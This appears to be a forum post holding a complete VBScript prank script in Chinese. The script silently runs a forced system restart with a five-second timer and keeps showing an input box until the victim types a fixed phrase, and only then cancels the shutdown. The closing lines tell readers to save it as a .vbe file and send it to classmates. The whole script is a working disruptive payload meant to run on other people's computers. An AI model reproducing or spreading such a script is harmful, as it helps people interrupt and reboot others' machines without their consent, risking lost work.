on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 5 -c "" 信奉春哥 原地复活~···"" ",0 ,true
dim a
do while(a <> "春哥纯爷们")
a = inputbox ("说春哥纯爷们,就不关机，快撒，说 ""春哥纯爷们""这五个字"+chr(13)+chr(13)+"程序制作:蒋经国 QQ:
584588795 ","说不说","在这输入那五个字就不会关机了",8000,7000)
loop
msgbox chr(13) + chr(13) + chr(13) + "恩 很好 你原地复活了```"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "不信春哥者死~"
新建一个TXT的文档 输入进去 存好之后吧TXT改成VBE 然后发给你同学
这个是我用别人的改的 大家自己可以研究一下 马上会关机的
